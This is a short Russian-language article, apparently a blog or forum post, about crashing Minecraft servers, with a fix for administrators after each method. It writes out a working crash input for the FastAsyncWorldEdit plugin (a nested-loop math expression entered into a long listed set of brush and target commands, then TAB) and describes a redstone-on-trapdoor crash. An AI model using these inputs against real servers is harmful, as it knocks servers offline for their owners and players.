В этой статье я поделюсь с вами некоторыми способами краша и взлома серверов Minecraft, а также предложу решения для администраторов, чтобы защитить свои проекты.

Хотя некоторые из этих методов уже могут быть устаревшими или применимыми только к версиям 1.12.2 и ниже, среди них есть и те, которые подойдут для многих случаев. Я не стал углубляться в сильно устаревшие техники, такие как //calc, так как они уже не представляют значительной угрозы.


В плагине FastAsyncWorldEdit некоторое время назад был баг, который проявлялся при написании определенных команд в чате. Например, когда игроки вводили текст, содержащий специфические символы или команды, сервер мог неожиданно реагировать, приводя к крашу или зависанию. Введя в чат такую команду, можно было положить сервер, заставив его полностью зависнуть или даже крашнуться.

Команда: 
посмотреть

/ for(i=0;i<99999;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(a=0;a<256;a++){ln(pi)}}}}
и нажатие TAB, сервер крашился. Список команд: /to ; /tar ; /target ; /targetmask ; /targetoffset ; //to ; //tar ; //target ; //targetmask ; //targetoffset ; /br to ; /br tar ; /br target ; /br targetmask ; /br targetoffset ; //br to ; //br tar ; //br target ; //br targetmask ; //br targetoffset ; /brush to ; /brush tar ; /brush target ; /brush targetmask ; /brush targetoffset ; //brush to ; //brush tar ; //brush target ; //brush targetmask ; //brush targetoffset ; /vis ; /visual ; /visualize ; //vis ; //visual ; //visualize ; /br vis ; /br visual ; /br visualize ; //br vis ; //br visual ; //br visualize ; /brush vis ; /brush visual ; /brush visualize ; //brush vis ; //brush visual ; //brush visualize

Фикс: обновите плагин FastAsyncWorldEdit.



Способ краша сервера с помощью редстоуна и люка (работает примерно с версии 1.16):

При установке редстоуна на люк, сервер падет.

Фикс: в интернете множество плагинов с исправлением данного бага.